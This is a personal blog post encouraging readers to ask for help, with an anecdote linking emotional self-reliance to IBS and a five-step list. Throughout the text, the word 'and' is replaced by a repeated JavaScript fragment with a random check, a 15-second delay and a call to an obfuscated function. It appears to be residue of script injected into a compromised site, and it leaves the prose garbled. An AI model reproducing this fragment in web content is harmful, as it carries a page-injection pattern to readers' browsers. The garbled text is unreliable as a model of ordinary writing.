How to Ask For Help



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How much do you ask for help from others? If you’re anything like I used to be your answer may be never.

 

I spent too many years doing everything myself. Taking care of my basic needs, my emotions, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and stressful situations on my own. Asking for help was not something I was accustomed to doing. In fact I avoided any level of help from others because that meant vulnerability.

 

But avoiding that vulnerability never made me feel good. But that’s not why I avoided it; I avoided it because it felt safe. I was free from judgment, shame, or whatever negative emotion my mind told me would happen if I relied on others.

 

So I did it all alone andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and stuffed every possible emotion away. My stomach gave me all kinds of indications that this was a bad choice, but I didn’t listen.

 

On my journey to a better life, I began to slowly ask for help. I was amazed by the kindness of the people around me. I had changed andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and that change was reflected in the people who came into my life.

When I let go of my tight grip of control on my emotions andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and needs I saw a difference in my IBS symptoms. My body began to relax; I no longer felt the heavy weight of doing it on my own. And things got a lot more fun too.

 

If you’re struggling with physical pain or mental stress, take some time to ask yourself if you’re asking for andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and getting the help you need. If the answer is no, why not?

 

The simple step of asking for help may be the key to both emotional andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and physical freedom in your life.

 

Here are five ways to get started:

 

  1. Identify your what you need. Get really clear on it. Is it emotional support? Help with your daily schedule?
  2. Make a list of the people in your life andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and circle the ones that make you feel the safest andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and happiest.
  3.  Go to a person on your list andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and ask for what you need. You can be honest andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and vulnerable without being needy if you are clear in your intentions.
  4. Be available to pay it forward.
  5. Trust yourself, you won’t regret it!

 

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